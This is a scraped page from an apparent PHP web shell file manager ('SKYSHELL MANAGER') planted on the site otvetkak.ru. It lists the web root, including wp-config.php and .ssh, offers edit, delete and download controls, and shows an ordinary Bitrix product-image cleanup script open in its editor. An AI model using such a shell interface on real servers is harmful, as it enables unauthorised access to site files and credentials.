📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
sites
/
otvetkak.ru
/
Name
Size
Permissions
Actions
📁
antibot
-
0700
🗑️
🔒
📁
tmp
-
0700
🗑️
🔒
📁
..
-
0755
🗑️
🔒
📁
wp-admin
-
0700
🗑️
🔒
📁
media
-
0700
🗑️
🔒
📁
lnkr
-
0700
🗑️
🔒
📁
lib
-
0700
🗑️
🔒
📁
landing
-
0700
🗑️
🔒
📁
image
-
0700
🗑️
🔒
📁
wp-content
-
0700
🗑️
🔒
📁
banners
-
0700
🗑️
🔒
📁
wp-includes
-
0700
🗑️
🔒
📁
ajax
-
0700
🗑️
🔒
📁
.cache
-
0700
🗑️
🔒
📁
.git
-
0700
🗑️
🔒
📁
.ssh
-
0700
🗑️
🔒
📄
wp-blog-header.php
0.34 KB
0700
🗑️
⬇️
✏️
🔒
📄
service-worker.js
0.06 KB
0700
🗑️
⬇️
✏️
🔒
📄
sitemap.xml
1.75 KB
0700
🗑️
⬇️
✏️
🔒
📄
test_seowork.php
0.15 KB
0700
🗑️
⬇️
✏️
🔒
📄
wmail_09c465d87d3c161979df26f9829ccd42.html
0.16 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-trackback.php
4.77 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-signup.php
33.54 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-settings.php
24.41 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-login.php_
28.4 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-register.php
0.33 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-rdf.php
0.22 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-config.php
5.48 KB
0600
🗑️
⬇️
✏️
🔒
📄
wp-pass.php
0.4 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-cron.php
5.41 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-feed.php
0.24 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap7.xml
13.24 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.44 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-login.php
48.17 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-mail.php
8.34 KB
0700
🗑️
⬇️
✏️
🔒
📄
robots.txt
0.5 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap.xml
1556.63 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap6.xml
261.13 KB
0700
🗑️
⬇️
✏️
🔒
📄
fdc43c7197b903c03ce97888.html
0 KB
0700
🗑️
⬇️
✏️
🔒
📄
.gitignore
1.45 KB
0700
🗑️
⬇️
✏️
🔒
📄
.htaccess
0.19 KB
0644
🗑️
⬇️
✏️
🔒
📄
506da8d1a8ff.html
0 KB
0700
🗑️
⬇️
✏️
🔒
📄
50x.html
1.38 KB
0700
🗑️
⬇️
✏️
🔒
📄
addl-sitemap.xml
0.58 KB
0700
🗑️
⬇️
✏️
🔒
📄
ads.txt
3.67 KB
0700
🗑️
⬇️
✏️
🔒
📄
agreement.php
6.55 KB
0700
🗑️
⬇️
✏️
🔒
📄
aios-bootstrap.php
0.9 KB
0700
🗑️
⬇️
✏️
🔒
📄
category-sitemap.xml
16.45 KB
0700
🗑️
⬇️
✏️
🔒
📄
f4539d9a1d2dddd90b094a1fb2744cbd.html
0.01 KB
0700
🗑️
⬇️
✏️
🔒
📄
go.php
0.95 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap5.xml
250.93 KB
0700
🗑️
⬇️
✏️
🔒
📄
google11d97dcef8eaeca0.html
0.05 KB
0700
🗑️
⬇️
✏️
🔒
📄
google670877162ab878dc.html
0.05 KB
0700
🗑️
⬇️
✏️
🔒
📄
googlecf81da77e01ae41c.html
0.05 KB
0700
🗑️
⬇️
✏️
🔒
📄
live-116cb0fc.txt
0.02 KB
0700
🗑️
⬇️
✏️
🔒
📄
page-sitemap.xml
11.42 KB
0700
🗑️
⬇️
✏️
🔒
📄
password.php
0.85 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap1.xml
257.69 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap2.xml
259.91 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap3.xml
258.74 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap4.xml
258.07 KB
0700
🗑️
⬇️
✏️
🔒
📄
yandex_571a37b60f6c38fe.html
0.16 KB
0700
🗑️
⬇️
✏️
🔒
Editing: laete_remove_images.php
<? //ini_set("display_errors",1); //error_reporting(E_ALL); set_time_limit(0); $iblock_id = 7; // ID инфоблока товаров $intSKUIBlock = 8; // ID инфоблока предложений (должен быть торговым каталогом) $_SERVER["DOCUMENT_ROOT"] = __DIR__; include_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php"); set_time_limit(0); CModule::IncludeModule('iblock'); /* $arFilter = Array("IBLOCK_ID" => $iblock_id); $res = CIBlockElement::GetList(Array(), $arFilter); $be = new CIBlockElement; $failCount = 0; $x = 0; while($item = $res->GetNextElement()){ ++$x; $fields = $item->GetFields(); $props = $item->GetProperties(); if ($fields['ID'] == 3870) { continue; } $offersFilter = Array("IBLOCK_ID" => $intSKUIBlock, 'PROPERTY_CML2_LINK' => $fields['ID']); $offersRes = CIBlockElement::GetList(Array(), $offersFilter); $hasOfferDetailPicture = false; $hasOfferPreviewPicture = false; $hasOfferMorePicture = false; $offerCount = 0; while ($offer = $offersRes->Fetch()) { $hasOfferDetailPicture |= !empty($offer['DETAIL_PICTURE']) && $offer['DETAIL_PICTURE']; /* $hasOfferDetailPicture |= !empty($offerFields['DETAIL_PICTURE']) && $offerFields['DETAIL_PICTURE']; $hasOfferPreviewPicture |= !empty($offerFields['PREVIEW_PICTURE']) && $offerFields['PREVIEW_PICTURE']; $hasOfferMorePicture |= !empty($offerProps['MORE_PHOTO']['VALUE']); */ /* ++$offerCount; } if ($offerCount && ($hasOfferDetailPicture || $hasOfferMorePicture)) { $arFields = Array( "ACTIVE" => 'Y', ); $be->Update($fields['ID'], $arFields, false); continue; } $hasDetailPicture = !empty($fields['DETAIL_PICTURE']) && $fields['DETAIL_PICTURE']; $hasPreviewPicture = !empty($fields['PREVIEW_PICTURE']) && $fields['PREVIEW_PICTURE']; $hasMorePicture = !empty($props['MORE_PHOTO']['VALUE']); if (!$hasDetailPicture && !$hasMorePicture) { var_dump($fields['DETAIL_PICTURE'], $fields['PREVIEW_PICTURE'], $props['MORE_PHOTO']['VALUE']); echo PHP_EOL.$fields['ID'].' '. ($hasDetailPicture ? 't' : 'f'). ($hasPreviewPicture ? 't' : 'f'). ($hasMorePicture ? 't' : 'f') ; $arFields = Array( "ACTIVE" => 'N', ); $be->Update($fields['ID'], $arFields, false); ++$failCount; } else { $path = __DIR__.CFile::GetPath($fields['DETAIL_PICTURE']); if (file_exists($path)) { $arFields = Array( "ACTIVE" => 'Y', ); $be->Update($fields['ID'], $arFields, false); continue; } $arFields = Array( "ACTIVE" => 'N', ); $be->Update($fields['ID'], $arFields, false); ++$failCount; } //var_dump($be->LAST_ERROR); } var_dump($failCount); */ /* //////fix items url $arFilter = Array("IBLOCK_ID" => $iblock_id); $res = CIBlockElement::GetList(Array(), $arFilter); $be = new CIBlockElement; while($item = $res->GetNextElement()){ ++$x; $fields = $item->GetFields(); $props = $item->GetProperties(); if (!$props['LAETE_tf']['VALUE'] || empty($props['LAETE_tf']['VALUE'])) { continue; } $arFile = [ 'VALUE' => [ 'MODULE_ID' => "iblock", 'del' => "Y", ] ]; $del = []; if ($props["MORE_PHOTO"]["VALUE"]) { var_dump($props["MORE_PHOTO"]);die; } foreach ($props["MORE_PHOTO"]["VALUE"] as $id) { $del[$id] = $arFile; } $arFields = Array( 'DETAIL_PICTURE' => $arFile['VALUE'], 'PREVIEW_PICTURE' => $arFile['VALUE'], ); $be->Update($fields['ID'], $arFields, false); CIBlockElement::SetPropertyValuesEx($fields['ID'], $iblock_id, ['MORE_PHOTO' => $del]); var_dump($be->LAST_ERROR); } /* $arFilter = Array("IBLOCK_ID" => $iblock_id); $res = CIBlockElement::GetList(Array(), $arFilter); $be = new CIBlockElement; while($item = $res->GetNextElement()){ ++$x; $fields = $item->GetFields(); $props = $item->GetProperties(); $arFile = [ 'del' => "Y", 'tmp_name' => '', ]; $del = []; $morePhoto = []; foreach ($props["MORE_PHOTO"]["PROPERTY_VALUE_ID"] as $key => $id) { $path = CFile::GetPath($props["MORE_PHOTO"]["VALUE"][$key]); if (file_exists($path)) { continue; } $newPath = __DIR__.'/old_upload'.$path; if (file_exists($newPath)) { CFile::Delete($props["MORE_PHOTO"]["VALUE"][$key]); $morePhoto[$id] = CFile::MakeFileArray($newPath); } else { $morePhoto[$id] = $arFile; } } CIBlockElement::SetPropertyValueCode($fields['ID'], 'MORE_PHOTO', $morePhoto); var_dump($be->LAST_ERROR); } */ /* $arFilter = Array("IBLOCK_ID" => $iblock_id); $res = CIBlockElement::GetList(Array(), $arFilter); $be = new CIBlockElement; while($item = $res->GetNextElement()){ ++$x; $fields = $item->GetFields(); $props = $item->GetProperties(); $arFile = [ 'del' => "Y", 'tmp_name' => '', ]; $del = []; $morePhoto = []; foreach ($props["MORE_PHOTO"]["PROPERTY_VALUE_ID"] as $key => $id) { $path = __DIR__.CFile::GetPath($props["MORE_PHOTO"]["VALUE"][$key]); if (file_exists($path)) { continue; } else { var_dump($path); $morePhoto[$id] = $arFile; } } CIBlockElement::SetPropertyValueCode($fields['ID'], 'MORE_PHOTO', $morePhoto); } */ $arFilter = Array("IBLOCK_ID" => $intSKUIBlock); $res = CIBlockElement::GetList(Array(), $arFilter); $be = new CIBlockElement; while($item = $res->GetNextElement()){ ++$x; $fields = $item->GetFields(); $props = $item->GetProperties(); $arFile = [ 'del' => "Y", 'tmp_name' => '', ]; $del = []; $morePhoto = []; foreach ($props["MORE_PHOTO"]["PROPERTY_VALUE_ID"] as $key => $id) { $path = __DIR__.CFile::GetPath($props["MORE_PHOTO"]["VALUE"][$key]); if (file_exists($path)) { continue; } else { var_dump($path); $morePhoto[$id] = $arFile; } } CIBlockElement::SetPropertyValueCode($fields['ID'], 'MORE_PHOTO', $morePhoto); } ?>
💾 Save Changes